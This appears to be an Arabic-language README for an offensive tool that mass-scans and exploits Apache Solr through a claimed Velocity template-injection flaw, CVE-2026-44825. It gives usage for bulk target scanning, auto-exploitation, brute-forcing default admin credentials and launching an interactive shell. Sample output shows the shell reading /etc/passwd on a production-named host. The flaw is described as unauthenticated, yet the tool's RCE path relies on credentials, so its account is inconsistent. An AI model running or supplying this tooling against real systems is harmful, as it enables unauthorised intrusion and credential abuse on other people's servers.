
☄️ إطار عمل للاستطلاع والاستغلال الجماعي لـ Apache Solr CVE-2026-44825 — حقن قالب Velocity إلى RCE
CVE-2026-44825 هي ثغرة حرجة الخطورة في Apache Solr تتيح للمهاجمين تحقيق تنفيذ تعليمات برمجية عن بُعد (RCE) بدون مصادقة عبر حقن قالب Velocity.
تقبل نقطة النهاية /select في Apache Solr معامل wt=velocity الذي يعرض قوالب Velocity المقدَّمة من المستخدم. عندما يكون كاتب استجابات Velocity (Velocity Response Writer) مفعّلاً (أو يمكن تفعيله عبر واجهة برمجة تطبيقات الإعدادات)، يمكن للمهاجم حقن قالب خبيث يستدعي java.lang.Runtime.exec()، مما ينفّذ أوامر نظام تعسفية بصلاحيات عملية Solr.
| المتجه | الخطورة | التأثير |
|---|---|---|
| RCE بدون مصادقة | 9.8 (حرجة) | اختراق كامل للنظام |
| RCE بمصادقة | 8.8 (عالية) | تنفيذ أكواد بعد المصادقة |
| كشف المعلومات | 5.3 (متوسطة) | تعداد النوى/المجموعات |
يضمّن Apache Solr محرك Apache Velocity كمحرك قوالب اختياري لعرض الاستجابات. تكمن الثغرة في VelocityResponseWriter الخاص بـ Solr، والذي يعالج معاملات القوالب الخاضعة لتحكم المستخدم دون تعقيم مناسب، مما يسمح باستدعاء مباشر لواجهات انعكاس Java:
Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)
| إصدار Apache Solr | الحالة | ملاحظات |
|---|---|---|
| 9.4.0 – 9.10.1 | 🔴 معرَّض للثغرة | استغلال نشط في البيئات الحقيقية |
| 10.0.0 | 🔴 معرَّض للثغرة | الإصدارات الأولية من 10.x متأثرة |
| 10.0.1+ | 🟢 مصحَّح | تم نقل الإصلاح إلى الإصدارات السابقة |
| 9.10.2+ | 🟢 مصحَّح | إصدار التصحيح متاح |
| ≤ 9.3.x | 🟢 غير متأثر | Velocity Response Writer غير موجود |
| 8.x (جميعها) | 🟢 غير متأثر | لا يوجد دعم لـ Velocity |
ملاحظة: يتم إجراء فحوصات الإصدار تلقائياً عبر تحليل استجابة JSON الخاصة بالنقطة
/admin/info/system.
🔍 الاستطلاع
|
💀 الاستغلال
|
# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar
# Install dependencies
pip install -r requirements.txt
# Verify
python solr_scanner.py --help
requests>=2.28.0
urllib3>=1.26.0
مكتبات قياسية فقط +
requests. بدون تبعيات معقدة.
CVE-2026-44825 Apache Solr Scanner
-t, --target Single target URL or IP[:port]
-f, --file File containing targets (one per line, # for comments)
--exploit Auto-exploit if vulnerable credentials are found
--rce Launch interactive shell after authentication
-u, --user Username for Basic Auth
-pw, --password Password for Basic Auth
-o, --output JSON output file path (default: solr_results.json)
-w, --workers Number of concurrent threads (default: 30)
-T, --timeout HTTP request timeout (seconds) (default: 8)
# Single target
python solr_scanner.py -t 192.168.1.100:8983
# Single target with custom path
python solr_scanner.py -t http://example.com/solr
# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json
# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24 # (CIDR not supported; pre-expand with external tool)
# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit
# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce
$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner
Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...
[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
Done. Total:3 | Solr:3 | Vuln:1
تم اكتشاف جميع الأهداف الثلاثة. تم وضع علامة على مثيل 9.4.1 كمعرَّض للثغرة مع تفعيل Basic Auth.
$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
[!] admin:SolrRocks
Cols: ['cms', 'users', 'search', 'analytics']
بيانات الاعتماد الافتراضية
admin:SolrRocksتمنح الوصول إلى واجهات برمجة Solr الإدارية. تم اكتشاف أربع مجموعات.
$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner
[+] admin:SolrRocks
solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)
solr$ hostname
solr-prod-cms-01.internal
solr$ whoami
solr
solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...
solr$ exit
وصول كامل لصدفة تفاعلية بصلاحيات عملية Solr الخاصة بـ Java.
للباحثين الذين يريدون فهم التبادل الخام لـ HTTP:
الخطوة 1 — التحقق من إمكانية الوصول إلى Solr
curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"